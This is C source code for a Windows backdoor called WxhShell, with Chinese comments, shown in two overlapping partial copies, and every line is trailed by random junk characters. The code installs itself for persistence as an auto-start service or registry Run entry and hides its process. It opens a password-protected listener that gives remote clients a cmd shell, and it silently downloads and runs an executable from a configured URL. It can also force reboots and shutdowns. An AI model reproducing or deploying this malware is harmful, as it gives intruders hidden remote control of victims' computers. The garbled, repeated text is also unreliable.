    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nep#L>LP$x  
    if(Boot(SHUTDOWN)) ttP7-y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gt kV=V  
    else { |}"YUk^  
    closesocket(wsh); %"RJi?  
    ExitThread(0); ]lWqV  
    } ;Iu _*U9)  
    break; Met?G0[  
    } {gMe<y  
  // 获取shell k %I83,+  
  case 's': { 8NN+Z<  
    CmdShell(wsh); ]ua3I}_B6v  
    closesocket(wsh); TG2#$Bq1  
    ExitThread(0); {DO9%ej)  
    break;  F/Goq`  
  } E0HqXd?  
  // 退出 CTMC78=9}  
  case 'x': { Q3@zUjq_Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -FeXG#{)  
    CloseIt(wsh); <z Gh}.6v  
    break; R >xd*A  
    } Y;'<u\^M"  
  // 离开 D 0Xl`0"'  
  case 'q': { p1N}2]e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %ms%0%  
    closesocket(wsh); U-|]A\`)I  
    WSACleanup(); ly0R'4j \  
    exit(1); ;hj lRQ\  
    break; F^Ut ZG+  
        } h5?^MRZS  
  } T"wg/mT  
  } mV0,T*}e  
yC' y>f`H  
  // 提示信息 2>z YJqG|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }YwaN'3p!  
} @]uqC~a^  
  } g*k)ws  
[ATJ! O  
  return; /t5)&  
} J[/WBVFDf  
OB>Hiy   
// shell模块句柄 S-t#d7'B  
int CmdShell(SOCKET sock) *-VRkS-G  
{ eORXyh\K  
STARTUPINFO si; k1&9 bgI  
ZeroMemory(&si,sizeof(si)); `46~j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g`fG84  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *s6 x  
PROCESS_INFORMATION ProcessInfo; zs$r>rlO  
char cmdline[]="cmd"; $6"sRI6u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9A |A@E#  
  return 0; -CPtYG[s  
} 7x)Pt@c  
jAJ='|[X\  
// 自身启动模式 cILS  
int StartFromService(void) {f06Ki  
{ +!lDAkW0  
typedef struct 96WzgHPWo  
{ xGs}hVlZiC  
  DWORD ExitStatus; <kB:`&X<\  
  DWORD PebBaseAddress; 3W1Lh~Av  
  DWORD AffinityMask; fCt|8,-H  
  DWORD BasePriority; NcA `E_3  
  ULONG UniqueProcessId; ljFq;!I5  
  ULONG InheritedFromUniqueProcessId; d/_D|ivZ=  
}   PROCESS_BASIC_INFORMATION; ki1(b]rf  
b{0a/&&1O  
PROCNTQSIP NtQueryInformationProcess; ybaY+![*  
G`!x+FB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O|Uz)Y94  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c5]Xqq,  
~${~To8$CW  
  HANDLE             hProcess; OG$n C  
  PROCESS_BASIC_INFORMATION pbi;  "'4  
j6%W+;{/pj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q-x>yau"  
  if(NULL == hInst ) return 0; #XQ/y}(  
gL<n?FG4b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qu B[S)2}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %.Y5%T yP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9f~qD&~  
fPe S;  
  if (!NtQueryInformationProcess) return 0; *p/,Z2f  
^h?fr`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @O"7@%nu  
  if(!hProcess) return 0; zgD?e?yPO  
Q68~D.V%r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L0w6K0J4  
xG!~TQ  
  CloseHandle(hProcess); ^ `LqNG  
P2n8HFi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cSL6V2F  
if(hProcess==NULL) return 0; *\ii +f-  
I`_2Q:r  
HMODULE hMod; (%_X{R'  
char procName[255]; f:Pl Mv!{  
unsigned long cbNeeded; 8eqTA8$?  
T Q41i/{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4DL;Y  
}c G)$E  
  CloseHandle(hProcess); Q/o,2R  
|>Q>d8|k  
if(strstr(procName,"services")) return 1; // 以服务启动 ]zx%"SUM  
h@RpS8!Bi  
  return 0; // 注册表启动 Ysm RY=3  
} fcq8aW/z_  
HK )m^!=  
// 主模块 I\*6 >  
int StartWxhshell(LPSTR lpCmdLine) %ap(=^|5  
{ Y0(4]X \ey  
  SOCKET wsl; 1!uBzO6/$  
BOOL val=TRUE; gC}}8( k  
  int port=0; eT b!xb  
  struct sockaddr_in door; Pmv@  
BX/3{5Y>{  
  if(wscfg.ws_autoins) Install(); ,Zmjw@ w  
)N 3^r>(e<  
port=atoi(lpCmdLine); AJyN lQ  
|z)s9B;:#i  
if(port<=0) port=wscfg.ws_port; W.3b]zcV  
x-i1:W9;  
  WSADATA data; [8T{=+k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y`~B> J  
]I|(/+}M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S]3CRJU3`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]bds~OY5 U  
  door.sin_family = AF_INET;  l"ms:v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B[8bkFS>]  
  door.sin_port = htons(port); s{b\\$Rb  
Jc":zR@5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O9daeIF0#  
closesocket(wsl); ,HP }}K+S  
return 1; ^E^`"  
} J9lZ1,22  
4iAF<|6s  
  if(listen(wsl,2) == INVALID_SOCKET) { :#:|:q.]  
closesocket(wsl); MpOU>\  
return 1; ,rMDGZm?  
} <AU*lLZ  
  Wxhshell(wsl); _ [k \S|iY  
  WSACleanup(); z~Q=OPCnY  
aL1%BGlmZ<  
return 0; ||hQ*X<m>  
 VAiJL  
} qyM/p.mP  
\3hA_{ w  
// 以NT服务方式启动 T'pL&@,Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m-t: ' B  
{ )Qb,zS6  
DWORD   status = 0; I )mB]j  
  DWORD   specificError = 0xfffffff; :)1"yo\  
P<g(i 6]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }{R*pmv$bN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NQ`D"n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]5'$EAsuW  
  serviceStatus.dwWin32ExitCode     = 0; 8m"k3:e^  
  serviceStatus.dwServiceSpecificExitCode = 0; 3(c-o0M  
  serviceStatus.dwCheckPoint       = 0; "{~5QO   
  serviceStatus.dwWaitHint       = 0; @1CXc"IgA  
C*mVM!D);!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *}\M!u{J  
  if (hServiceStatusHandle==0) return; u"h/ERCa  
}JFTe g  
status = GetLastError(); t5{P'v9J  
  if (status!=NO_ERROR) @v2<T1UC  
{ EHUx~Q   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; { b$"SIg1E  
    serviceStatus.dwCheckPoint       = 0; vH+g*A0S<  
    serviceStatus.dwWaitHint       = 0; tA#Pc6zBuC  
    serviceStatus.dwWin32ExitCode     = status; :|;@FkQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^}+\52w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IV,4BQ$  
    return; G(t:s5:  
  } 6qT@M0)i  
SES.&e|!6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?4':~;~  
  serviceStatus.dwCheckPoint       = 0; CyIlv0fd}  
  serviceStatus.dwWaitHint       = 0; FMdu30JV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ! AwMD  
} uG\~Hxqw7O  
*I 1H  
// 处理NT服务事件,比如:启动、停止 X%b1KG|#(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %mC@}  
{ ny{C,1QG  
switch(fdwControl) Om*QN]lGq  
{ CY o m  
case SERVICE_CONTROL_STOP: ILm +o$o ~  
  serviceStatus.dwWin32ExitCode = 0; (H_dZL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;MN$.x+  
  serviceStatus.dwCheckPoint   = 0; T >8P1p@A,  
  serviceStatus.dwWaitHint     = 0; iTHwH{!  
  { x)C}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j*>J1M3E  
  } [1rQ'FBB^1  
  return; =muQ7l:(  
case SERVICE_CONTROL_PAUSE: "'CvB0>   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {VAih-y  
  break; _^E NRk@  
case SERVICE_CONTROL_CONTINUE: @bg9 }Z%\h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?;,;  
  break; h~>1 -T8  
case SERVICE_CONTROL_INTERROGATE: }StzhV{GS  
  break; akvi^]x  
}; -+E.I*st  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^xHKoOTj[  
} Xc-["y64  
YF{MXK}  
// 标准应用程序主函数 .\caRb[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]nsjYsT  
{ D_lRYLA+  
dWd%>9 }  
// 获取操作系统版本 S1$^ _S =  
OsIsNt=GetOsVer(); +@ChZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %"`p&aE:  
jt}Re,  
  // 从命令行安装 7.29'  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7wj2-BWa  
4vg3F(   
  // 下载执行文件 :$D*ab^^P  
if(wscfg.ws_downexe) { ehW[LRtq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qcs) p  
  WinExec(wscfg.ws_filenam,SW_HIDE); _UVpQ5pN  
} ob>)F^.iS  
eB~\~@  
if(!OsIsNt) {  u 8o!  
// 如果时win9x,隐藏进程并且设置为注册表启动 JwMRquQv  
HideProc(); @V:K]M 5  
StartWxhshell(lpCmdLine); Wx0i_HFR  
} ]0D-g2!|A  
else VgbNZ{qk@  
  if(StartFromService()) ^t'mW;C$4  
  // 以服务方式启动 eC5*Q=ai,  
  StartServiceCtrlDispatcher(DispatchTable); ZSu.0|0#  
else vYRY?~8 C  
  // 普通方式启动 3A,N1OXG  
  StartWxhshell(lpCmdLine); #R5\k-I  
StJb-K/_cL  
return 0; -`' |z+V  
} 8;gi8Y  
[r`KoHwdm  
[WDzaRzd  
=%|`gZ  
=========================================== 2_pF#M9  
#czI nXTTx  
 J#` 7!  
6SCjlaGW5  
|*?N#0s5h  
W5u5!L/  
" nWsRa uY  
jgE{JK\n4  
#include <stdio.h> [R4# bl  
#include <string.h> yepRJ%mp  
#include <windows.h> NAo.79   
#include <winsock2.h> ]KuM's  
#include <winsvc.h> PzPNvV/o  
#include <urlmon.h> 437Wy+Q|e  
+nR("Il  
#pragma comment (lib, "Ws2_32.lib") eP2Q2C8g  
#pragma comment (lib, "urlmon.lib") dSwfea_  
_YX% M|#  
#define MAX_USER   100 // 最大客户端连接数 04U|Frc  
#define BUF_SOCK   200 // sock buffer }tt%J[  
#define KEY_BUFF   255 // 输入 buffer 1 fcV&qHR  
l-w4E"n3  
#define REBOOT     0   // 重启 3}}/,pGSc  
#define SHUTDOWN   1   // 关机 tEL;,1  
!IOmJpl'  
#define DEF_PORT   5000 // 监听端口 6Y2,fW8i,  
)?[2Y%P  
#define REG_LEN     16   // 注册表键长度 "1s ]74  
#define SVC_LEN     80   // NT服务名长度 8 o}5QOW  
k1D7=&i  
// 从dll定义API bZ_&AfcB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vGyQ306  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ])?dqgwa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B <s+I#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H s)]  
9,fV  
// wxhshell配置信息 Mzg'$]N  
struct WSCFG { MNs<yQ9I'  
  int ws_port;         // 监听端口 ai;!Q%B#Q  
  char ws_passstr[REG_LEN]; // 口令 l]|&j`'O  
  int ws_autoins;       // 安装标记, 1=yes 0=no bpsyO>lx/  
  char ws_regname[REG_LEN]; // 注册表键名 G5qsnTxUJ  
  char ws_svcname[REG_LEN]; // 服务名 Lx- %y'P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8nI~iN?"   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [g}^{ $`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t'F$/mx.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >IQ&*Bb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #xmiUN,|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^(&2  
^RnQX#+  
}; :G#%+,  
xLIyh7$t  
// default Wxhshell configuration &K]|{1+  
struct WSCFG wscfg={DEF_PORT, X:Y1g)|K  
    "xuhuanlingzhe", `_vPElQXZ#  
    1, Vc'p+e|(  
    "Wxhshell", [%>*P~6nK  
    "Wxhshell", q"Bd-?9  
            "WxhShell Service", @d Qr^'h  
    "Wrsky Windows CmdShell Service", Yy 4Was#  
    "Please Input Your Password: ", "a(R>PV%  
  1, ^Whc<>|  
  "http://www.wrsky.com/wxhshell.exe", `T[yyOL/  
  "Wxhshell.exe" [vtDtwL  
    }; ?bd!JW bg`  
<;i&-,  
// 消息定义模块 Z2{$FN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R@WW@ Of  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }c/#WA|b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -T+yS BO_3  
char *msg_ws_ext="\n\rExit."; &h[)nD  
char *msg_ws_end="\n\rQuit."; 6Hc25NuQZ  
char *msg_ws_boot="\n\rReboot..."; yzpa\[^  
char *msg_ws_poff="\n\rShutdown..."; 3>(~5  
char *msg_ws_down="\n\rSave to "; WL% T nux  
BCExhp  
char *msg_ws_err="\n\rErr!"; y%--/;  
char *msg_ws_ok="\n\rOK!"; *RkvM?o@jC  
Bptt"  
char ExeFile[MAX_PATH]; Yp m*or  
int nUser = 0; b<fN,U< k  
HANDLE handles[MAX_USER]; 9F,XjPK=  
int OsIsNt; yMNOjs'c {  
j+< !4 0#  
SERVICE_STATUS       serviceStatus; 1slt[&4N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y\!:/h]E&  
"~C \Z} ;  
// 函数声明 |RpZr!3V  
int Install(void); qyyLU@hd  
int Uninstall(void); i_6wD  
int DownloadFile(char *sURL, SOCKET wsh); z"5e3w  
int Boot(int flag); \i~5H]?d  
void HideProc(void); tSDp>0yZ3  
int GetOsVer(void); oi3Ix7  
int Wxhshell(SOCKET wsl); pfim*\'  
void TalkWithClient(void *cs); dkEnc  
int CmdShell(SOCKET sock); ]H:K$nmX  
int StartFromService(void); i\36 s$\  
int StartWxhshell(LPSTR lpCmdLine); [u3^R]  
UIQ=b;J9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *|+ ~V/#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b(ryk./ogx  
Vfw +m1sS  
// 数据结构和表定义 I |D]NY^  
SERVICE_TABLE_ENTRY DispatchTable[] = a(o[ bH.|;  
{ iEFS>kL8e  
{wscfg.ws_svcname, NTServiceMain}, cNN_KA  
{NULL, NULL} /-pop]L  
}; RmN\;G?}  
"2"*3R<Y  
// 自我安装 )fZ5.W8UE]  
int Install(void) JvUHoc$sI  
{ Us9$,(3  
  char svExeFile[MAX_PATH]; /|e"0;{  
  HKEY key; ;LT#/t)}<  
  strcpy(svExeFile,ExeFile); Q~*3Z4)j  
U|h@Pw z  
// 如果是win9x系统,修改注册表设为自启动 CvTgtZ '  
if(!OsIsNt) { \v_t: "  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,TO&KO1;&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \;tKss!|  
  RegCloseKey(key); qpc2;3*7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sEfGf.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xcIZ'V  
  RegCloseKey(key); nuv$B >  
  return 0; 28+ Sz>SP  
    } y+iuA@WCv  
  } 0H.B>: pv  
} 48%a${Nvvj  
else { Ah2XwFg?  
T{K+1SPy4  
// 如果是NT以上系统,安装为系统服务 aEZn6k1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p|%Y\!  
if (schSCManager!=0) ~h[lu^ZSi  
{ G@Zi3 5  
  SC_HANDLE schService = CreateService S+OI?QS  
  ( ")M.p_b[Z=  
  schSCManager, u= +  
  wscfg.ws_svcname, f{z%PI[  
  wscfg.ws_svcdisp, {78*S R  
  SERVICE_ALL_ACCESS, {K0T%.G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uJp}9B60_  
  SERVICE_AUTO_START, g9"_BG  
  SERVICE_ERROR_NORMAL, 1y8:tri>N  
  svExeFile, tT#Q`cB  
  NULL, \ZDT=?  
  NULL, <ct{D|mm  
  NULL, U14dQ=~b/  
  NULL, Z*e7W O.  
  NULL t@19a6:Co  
  ); nt[0krG  
  if (schService!=0) " Gn; Q-@  
  { yZ)ScB^  
  CloseServiceHandle(schService); s*#|EdD6@  
  CloseServiceHandle(schSCManager); IA!ixabG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !`#9#T|  
  strcat(svExeFile,wscfg.ws_svcname); WE~3(rs#X#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N$,)vb<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _&![s]  
  RegCloseKey(key); zB]T5]  
  return 0; ;<X3AhF  
    } '}YXpB  
  } K :q-[\G  
  CloseServiceHandle(schSCManager); u#UeJu O  
} et ~gO!1:*  
} ta6 WZu  
;^8^L'7cr  
return 1; c`}X2u]k  
} zXf+ieo  
=nL*/  
// 自我卸载 %Z5k8  
int Uninstall(void) ?RzT0HRd  
{ X9gC2iSs]  
  HKEY key; Z "=(u wM  
O.}gG6u5  
if(!OsIsNt) { tB3CX\e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \+~4t  
  RegDeleteValue(key,wscfg.ws_regname); 7Y*m_AhxJ  
  RegCloseKey(key); i:8^:(i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Cw|SY  
  RegDeleteValue(key,wscfg.ws_regname); DVcu*UVw  
  RegCloseKey(key); n)7icSc  
  return 0; G-(c+6Mn  
  } )?bb]hZg?O  
} IP;@unBl  
} xA5$!Oq7  
else { KE3 /<0Z  
1=a}{)0h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^[Er%yr0  
if (schSCManager!=0) eo_T .q  
{ 4vQHr!$Ep  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1DcarF  
  if (schService!=0) k51s*U6=  
  { +?:V\niQI  
  if(DeleteService(schService)!=0) { Wkk Nyg,  
  CloseServiceHandle(schService); 1;gSf.naG  
  CloseServiceHandle(schSCManager); 2!otVz! Mh  
  return 0; ">QY'r  
  } bgK(l d`  
  CloseServiceHandle(schService); KJ)&(Yx  
  } FVmg&[ .  
  CloseServiceHandle(schSCManager); C|J1x4sb@  
} 85{vz|(':  
} ~&/Gx_KU  
_z5CplO  
return 1; C|zH {.H  
} wf@2&vJ  
Qd4T?5 vG  
// 从指定url下载文件 &P3vcB  
int DownloadFile(char *sURL, SOCKET wsh) c6m,oS^  
{ ;MJ1Q  
  HRESULT hr; JAz;_wS(k  
char seps[]= "/"; ui{_w @o  
char *token; {LD8ie|x1`  
char *file; KTEis!w  
char myURL[MAX_PATH]; r?I(me,  
char myFILE[MAX_PATH]; &Kp+8D*  
7&)F;;H  
strcpy(myURL,sURL); UIj/Id  
  token=strtok(myURL,seps); ~QcKW<bz  
  while(token!=NULL) (B-9M)  
  { urB3  
    file=token; lp UtNy  
  token=strtok(NULL,seps); ;LE @Ezx  
  } j2Y(Q/i  
ix+x-G  
GetCurrentDirectory(MAX_PATH,myFILE); Vgn1I(Gj4  
strcat(myFILE, "\\"); \pGO}{3 e*  
strcat(myFILE, file); b]#d04]  
  send(wsh,myFILE,strlen(myFILE),0); :a@z53X@M  
send(wsh,"...",3,0); 6w;|-/:`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XE*bRTEw  
  if(hr==S_OK) 9Ol_z\5  
return 0; [9_ (+E[}  
else T_[\(K`w!  
return 1; r_E)HL/A  
Y`?X Fy:  
} ~{G: ,|`  
-$t,}3  
// 系统电源模块 \q'fB?bS^  
int Boot(int flag) !gHWYWu)!  
{ 1T,PC?vr{  
  HANDLE hToken; Wb )l8[=  
  TOKEN_PRIVILEGES tkp; wP0+Xv,  
gdE`UZ\  
  if(OsIsNt) { =Fy8rTdk6r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hyfnIb@~}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E2H<{Q   
    tkp.PrivilegeCount = 1; f\U&M,L\ '  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }k0-?_Z=1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n o+tVm|  
if(flag==REBOOT) { _I-VWDCk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R 0HVLQI  
  return 0; _JTxm>  
} e)dWa'2<  
else { {V% O4/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Guw|00w,Q$  
  return 0; ]j2v"n  
} u<=KC/vZe  
  } E+ 3yN\X(  
  else { s[2ZxCrCw  
if(flag==REBOOT) { f H|QAMfOu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Vy^yV|`v  
  return 0; 6eYf2sZ;J  
} F0'A/T'ht  
else { [ 7Lxt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9me}&Fdr  
  return 0; EH*ym#Y  
} Sja{$zL+W  
} O< tnM<"(  
k3>ur>aW  
return 1; H]$=*(aje  
} h>Uid &:?  
G</I%qM  
// win9x进程隐藏模块 rH&r6Xv[  
void HideProc(void) d9-mWz(V+  
{ YP#AB]2\}  
seuN,jpt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ocl47)  
  if ( hKernel != NULL ) *M&VqG4P9w  
  { v=.z|QD^1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Bq~hV;9nf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jxnQG A  
    FreeLibrary(hKernel); O/Y\ps3r  
  } }>;ht5/i/  
kUg+I_j6*  
return; :Dk@?o@2;C  
} <cDKGd  
wAu[pWD'6;  
// 获取操作系统版本 Z[k#AgC)  
int GetOsVer(void) Rct"\{V')n  
{ OHHNWg_5  
  OSVERSIONINFO winfo; 9'n))%CZ.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ke}Y 2sB  
  GetVersionEx(&winfo); # 5y9L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [Y22Wi  
  return 1; lk[G;=K:.  
  else coF T2Pq  
  return 0; <o&o=Y8  
} #ox9&  
y8w0eq94  
// 客户端句柄模块 f`hyYp`d5  
int Wxhshell(SOCKET wsl) PG6[lHmi  
{ b8N[."~:  
  SOCKET wsh; |oe!P}u  
  struct sockaddr_in client; <H5n>3#pH  
  DWORD myID; GSz @rDGY  
DO&+=o`"  
  while(nUser<MAX_USER) u/gm10<OWa  
{ ; .ysCF  
  int nSize=sizeof(client); :cc[Jco@w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8%o~4u3  
  if(wsh==INVALID_SOCKET) return 1; 9W1;Kb|Z<  
X0y?<G1( a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ${hyNt  
if(handles[nUser]==0) -6rf( ER  
  closesocket(wsh); @J-plJ4e  
else Ro'jM0(KE  
  nUser++; :O9P(X*  
  } (jM<T;4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j\2] M  
H1` rM^,%A  
  return 0; Y 3o^Euou  
} o"|O ]  
\s=QiPK  
// 关闭 socket "A%MVym."  
void CloseIt(SOCKET wsh) S?*^>Y-e;  
{ g-."sniP$g  
closesocket(wsh); RK?jtb=&A  
nUser--; /^w"' '  
ExitThread(0); 0/ut:RV0  
} " Wp   
xM&EL>m>L  
// 客户端请求句柄 c#=&!FRe  
void TalkWithClient(void *cs) GGCqtA^@7d  
{ csYy7uzi  
aT&t_^[]   
  SOCKET wsh=(SOCKET)cs; {3_Gjb5\\4  
  char pwd[SVC_LEN]; >f>V5L%1  
  char cmd[KEY_BUFF]; R;WW f.#  
char chr[1]; <BSSa`N`  
int i,j; W+KF2(lB  
R0{Qy*YQ`  
  while (nUser < MAX_USER) { {Jrf/p9w  
19'5Re&  
if(wscfg.ws_passstr) { R6 ;jY/*#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @9aGz6k+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k=e`*LB\  
  //ZeroMemory(pwd,KEY_BUFF); jDkm:X}:  
      i=0; <P- $RX  
  while(i<SVC_LEN) { SgiDh dE  
]a M-p@  
  // 设置超时 @a0Q0M  
  fd_set FdRead; n!ZMTcK8  
  struct timeval TimeOut; )Bo]=ZTJ^  
  FD_ZERO(&FdRead); WVOoHH  
  FD_SET(wsh,&FdRead); +,z) #  
  TimeOut.tv_sec=8; rkq#7  
  TimeOut.tv_usec=0; <KX&zi<L)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h(nj,X+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :<H8'4>  
19p8B&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6AAswz'$P  
  pwd=chr[0]; FNC[59   
  if(chr[0]==0xd || chr[0]==0xa) { L/yaVU{aEb  
  pwd=0; D*QYKW=)  
  break; q4/909x=  
  } ytiyF2Kp  
  i++;  t!jYu<P  
    } Yk'm?p#~  
=G4u#t)  
  // 如果是非法用户,关闭 socket NO2(vE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JGis"e  
} b!^@PIX  
^&Q< tN 7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t+O e)Ns  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !p',Za   
hO \/  
while(1) { 'OD) v  
cI:-Z{M7z  
  ZeroMemory(cmd,KEY_BUFF); oxzq!U  
Xh}&uZ`A  
      // 自动支持客户端 telnet标准   Ys3uPs  
  j=0; 0e16Ow6\!1  
  while(j<KEY_BUFF) { =ewyQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U*\17YU6h  
  cmd[j]=chr[0]; Vm,,u F  
  if(chr[0]==0xa || chr[0]==0xd) { Xb,T{.3@  
  cmd[j]=0; {[W(a<%bXm  
  break; uokc :D  
  } m*Cu-6&qd  
  j++; ),` 8eQC  
    } )+EN$*H  
p0VUh!  
  // 下载文件 cU8xUpq  
  if(strstr(cmd,"http://")) { ?aWx(dVQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S-c ^eLzQ  
  if(DownloadFile(cmd,wsh)) J# EP%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rt}^4IqL  
